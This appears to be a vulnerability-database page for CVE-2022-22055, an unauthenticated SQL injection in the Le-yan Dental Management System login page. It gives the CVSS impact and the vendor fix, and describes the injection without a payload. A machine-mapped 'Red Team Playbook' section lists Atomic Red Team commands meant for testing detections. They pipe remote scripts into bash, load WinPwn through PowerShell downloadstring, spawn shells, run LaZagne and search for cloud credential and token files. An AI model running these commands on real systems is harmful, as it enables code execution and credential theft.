CVE-2022-22055
Overview
This vulnerability is an SQL injection in the Le-yan Dental Management System, caused by improper sanitization of user input on the login page. The affected component is the authentication input handling mechanism, which fails to validate or parameterize SQL queries, allowing injection of arbitrary SQL commands. This flaw exists in version 2.8.5 of the product, exposing the login interface to unsafe query manipulation.
Vulnerability Description
The Le-yan dental management system contains an SQL-injection vulnerability. An unauthenticated remote attacker can inject SQL commands into the input field of the login page to acquire administrator’s privilege and perform arbitrary operations on the system or disrupt service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to gain administrator privileges, enabling full control over the dental management system's database. This includes unauthorized data access, modification, or deletion, and potential disruption of service availability. The attack requires only network access to the login interface and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, with high confidentiality, integrity, and availability impacts (C:H/I:H/A:H).
Solution
Le-yan Co., Ltd. recommends upgrading the Dental Management System to a patched version that addresses the SQL injection flaw, as detailed in their security advisory at https://www.twcert.org.tw/tw/cp-132-5509-80f05-1.html. Users should update to the fixed release beyond version 2.8.5. The advisory provides specific patch instructions and emphasizes applying vendor-supplied updates promptly to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The SQL injection vulnerability present in the Le-yan dental management system allows an unauthenticated remote attacker to manipulate the database through the application's input fields, particularly the login page. This type of vulnerability arises when user inputs are not properly sanitized or validated before being processed by SQL queries. Attackers can craft malicious SQL statements that can be executed by the database, leading to unauthorized access to sensitive data or administrative privileges. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to the integrity and confidentiality of the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may initiate an SQL injection by entering specially crafted input into the login form, bypassing authentication mechanisms. For instance, by inputting SQL commands that manipulate the query logic, an attacker could gain access to the system as an administrator without valid credentials. Once inside, the attacker could perform a range of malicious activities, including data exfiltration, modification of records, or even complete system compromise. Additionally, the attacker could disrupt service by executing commands that lead to data corruption or denial of service.
The real-world impact of such a vulnerability can be profound, particularly for organizations relying on the Le-yan dental management system for managing sensitive patient information. A successful attack could lead to unauthorized access to patient records, exposing personally identifiable information (PII) and health data. This not only poses a significant risk to patient privacy but also exposes the organization to legal liabilities and regulatory penalties, especially under data protection laws such as HIPAA. Furthermore, the reputational damage resulting from a data breach can lead to loss of trust among patients and stakeholders, ultimately affecting the organization's bottom line.
To detect and mitigate the risks associated with this SQL injection vulnerability, organizations should adopt a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Implementing web application firewalls (WAF) can provide an additional layer of protection by filtering and monitoring HTTP requests to block malicious input. Furthermore, employing prepared statements and parameterized queries in the application code can significantly reduce the risk of SQL injection by ensuring that user inputs are treated as data rather than executable code.
In conclusion, the SQL injection vulnerability in the Le-yan dental management system presents a critical threat that can be exploited by attackers to gain unauthorized access and disrupt services. The potential impact on patient privacy and organizational integrity necessitates immediate attention and proactive measures. By implementing robust detection and mitigation strategies, organizations can safeguard their systems against such vulnerabilities, thereby protecting sensitive data and maintaining the trust of their clients.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Le-Yan Dental Management System Project | Le-Yan Dental Management System | 2.8.5 |
cpe:2.3:a:le-yan_dental_management_system_project:le-yan_dental_management_system:2.8.5:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22055 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-5509-80f05-1.html |